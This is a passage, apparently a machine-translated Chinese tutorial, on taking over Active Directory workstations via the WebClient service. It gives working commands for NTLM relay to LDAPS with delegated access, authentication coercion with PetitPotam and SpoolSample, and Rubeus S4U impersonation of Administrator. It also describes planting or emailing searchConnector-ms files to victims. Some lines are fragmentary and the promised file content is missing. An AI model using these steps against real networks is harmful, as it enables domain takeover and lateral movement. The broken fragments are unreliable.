在 Active Directory 的默认配置中,可以在其 WebClient 服务运行时远程接管工作站 (Windows 7/10/11) 和可能的服务器(如果安装了桌面体验)。简而言之,这是通过以下方式完成的;
需要注意的是,WebClient 服务不会在启动时自动启动。但是,如果已触发 WebClient 服务在工作站上启动(例如,通过某些 SharePoint 交互),您可以远程接管该系统。此外,有几种方法可以强制 WebClient 服务远程启动,我将在下面的一节中介绍这些方法。
ntlmrelayx.py -t ldaps://dc.windomain.local --delegate-access
PetitPotam.exe logger@80/a.txt 192.168.38.104
SpoolSample.exe 192.168.38.104 logger@80/asdf
注意这个关键步骤(远程机器身份验证)的工作;
Get-NTFile -Win32Path '\\target-ip\pipe\DAV RPC SERVICE'
返回命名管道(如果可访问)。logger
在我的示例中)需要被视为目标划分的“内部网”。实现此目的的一种方法是使用攻击主机的 netbios 名称(无句点)。计算密码哈希:
Rubeus.exe hash /password:NkQuBzsPk_AqKC6 /user:ZESLUQVX$ /domain:windomain.local
通过 S4U2Proxy 执行模拟:
Rubeus.exe s4u /user:ZESLUQVX$ /rc4:D57DFD6E3BCDB1C2BF4D02CEE32F58C3 /impersonateuser:Administrator /msdsspn:cifs/WIN10.WINDOMAIN.LOCAL /ptt
在我的简短研究/测试中,我发现“搜索连接器”文件可用于启动 WebClient 服务。如果您将所述文件放置在本地,它将在本地启动服务(允许 LPE),或者您可以将所述文件放置在您具有写入权限的 SMB 共享上。当域用户浏览该 SMB 共享并查看您植入的“searchConnector-ms”文件时,WebClient 服务将在他们的工作站上启动,您可以继续执行上面的步骤 2。当然,您也可以尝试 NTLM 中继用户身份验证,但我们在这里的讨论/目标只是让 WebClient 启动以启用机器接管。
创建 SearchConnector-ms 文件:
您可以将 HTTP 目标设置为攻击者主机,以便知道哪个工作站启动了 WebClient。
作为一种替代方法(尽管不那么隐蔽),您可以通过电子邮件向您的目标发送“搜索连接器”文件。如果用户尝试打开文件,WebClient 服务将在他们的工作站上启动。